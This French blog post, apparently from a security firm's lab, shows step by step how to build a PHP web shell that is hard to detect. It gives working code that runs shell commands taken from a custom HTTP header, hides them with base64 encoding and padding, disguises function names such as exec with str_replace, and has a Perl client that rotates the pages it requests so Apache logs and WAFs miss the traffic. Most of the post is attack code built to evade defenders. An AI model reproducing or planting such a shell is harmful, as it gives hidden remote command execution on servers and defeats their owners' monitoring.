Web shell PHP quasi-indétectable – level 2

Web shell PHP quasi-indétectable – level 2

Dans notre article précédent (https://www.nes.fr/securitylab/?p=487), nous avons vu comment créer un web shell PHP quasi-indétectable au niveau des logs des requêtes Apache en utilisant les fonctionnalités du mod_rewrite.

Nous allons reprendre ce web shell et lui ajouter un peu de d’obfuscation pour qu’il devienne encore moins traçable, à savoir :
– Encodage en base64 des requêtes
– Padding du payload : ajout de caractères ne servant à rien dans les requêtes afin d’empêcher le décodage automatique des payloads base64 par les WAF (Web Application Firewall)
– Envoi de contenu de taille variable en retour, afin de ne pas alerter les WAF avec une page de 0 octet)
– Manipulation des lettres dans les noms des fonctions PHP à base de str_replace : afin d’empêcher la détection de fonctions PHP (exemple : exec, base64_decode, base64_encode…)
– Changement de la page requêtée à chaque envoi de commande afin qu’il n’y ait pas plusieurs requêtes sur la même page qui se suivent dans les logs


Pour plus de lisibilité, on décrira le code sur plusieurs lignes et il est important de le remettre sur une seule si vous voulez que le web shell fonctionne 🙂 .
Notre web shell PHP est actuellement sous la forme suivante :
exec($_SERVER[‘HTTP_NES’]. » 2>&1″, $result);
header(« NES: « .implode(« \r\n « , $result));

 

Ajout de l’encodage en base64

Nous allons donc ajouter l’encodage en base64 afin de s’éloigner de la détection des WAF avec les commandes PHP base64_encode et base64_decode:
exec(base64_decode($_SERVER[‘HTTP_NES’]). » 2>&1″, $result);
header(« NES: « .base64_encode(implode(« \r\n « , $result)));
Ici nous recevons les commandes en base64 et renvoyons le résultat en base64, il faut donc ajouter la gestion de la base64 dans notre client perl.
Nous allons donc remplacer les lignes suivantes de notre client perl:
my $response = $ua->get( $url, ‘NES’ => $cmd);
if ($response->header(‘NES’)) { return $response->header(‘NES’); }
Par celles-ci:
my $payload = encode_base64($cmd);
my $response = $ua->get( $url, ‘NES’ => $payload);
if ($response->header(‘NES’)) { return decode_base64($response->header(‘NES’)); }

 

 

Padding du payload

Nous allons rajouter des caractères ne servant à rien dans les requêtes afin de compliquer le décodage base64 des requêtes pour les WAF avec la commande PHP substr et en ajoutant 3 caractères inutiles « NES » :
exec(base64_decode(substr($_SERVER[‘HTTP_NES’],3)). » 2>&1″, $result);
header(« NES: NES ».base64_encode(implode(« \r\n « , $result)));
Modification du client perl :
my $payload = ‘NES’.encode_base64($cmd);
my $response = $ua->get( $url, ‘NES’ => $payload);
if ($response->header(‘NES’)) { return decode_base64(substr($response->header(‘NES’),3)); }

 

Envoi de contenu de taille variable en retour

Afin de ne pas alerter les WAF avec des requêtes vers des pages retournant 0 octet de contenu, nous allons retourner des caractères inutiles comme contenu de taille variable avec la fonction PHP echo, après l’envoi de notre en-tête :
Il faut tout d’abord ajouter « php_value output_buffering 1 » au dessus afin d’autoriser la manipulation du buffer, puis ajouter la ligne suivante :
exec(base64_decode($_SERVER[‘HTTP_NES’]). » 2>&1″, $result);
header(« NES: « .base64_encode(implode(« \r\n « , $result)));
echo str_repeat(« NES », rand(0,5000));

 

Manipulation des lettres dans les noms des fonctions PHP

Afin d’obfusquer l’utilisation de fonctions PHP sensibles (exécution de code, encodage base64…) nous allons utiliser str_replace:

$b = « basxy4″. »_dxcodx »;
$b = str_replace(‘x’,’e’,$b);
$b = str_replace(‘y’,’6′,$b);
$e = str_replace(‘y’,’e’,’yxyc’);
$f = « basxy4″. »_xncodx »;
$f = str_replace(‘x’,’e’,$f);
$f = str_replace(‘y’,’6′,$f);
$g = str_replace(‘x’, ‘l’, ‘impxode’);
$h = str_replace(‘x’,’e’,’hxadxr’);
$e($b(substr($_SERVER[‘HTTP_NES’],3)). » 2>&1″, $o);
$h(« Server: NES ».$f($g(« \r\n « , $o)));

 

Changement de la page requêtée à chaque envoi de commande

Afin de changer de manière aléatoire le nom de la page requêtée, nous allons récupérer tous les liens du site et effectuer une requête aléatoirement sur un de ces liens.

Il faut ajouter les lignes suivantes dans le client perl, avant « sendExec » :
my $pages = `wget -O pages.tmp $url > /dev/null 2>&1 && egrep -o ‘[^>/\ »]+[.](jsp|asp|aspx|html|php)’ pages.tmp | tr ‘\n’ ‘:’`;
Une fois ces noms de pages récupérés, nous allons les appeler de manière aléatoire :
On remplace :
my $response = $ua->get( $url, NES’ => $payload);
par:
my $page = $pages_list[int(rand(scalar(@pages_list)))];
my $url_rand = $url.’/’.$page;
my $response = $ua->get( $url_rand, ‘NES’ => $payload);
Notre client perl appelle donc maintenant des pages du site de façon aléatoire à chaque commande envoyée.

Notre admin réseau préféré a attrapé une bonne migraine en se cassant la tête à lire les logs Apache de nos requêtes…

 

 

Jérémy

 

Référence : http://www.justanotherhacker.com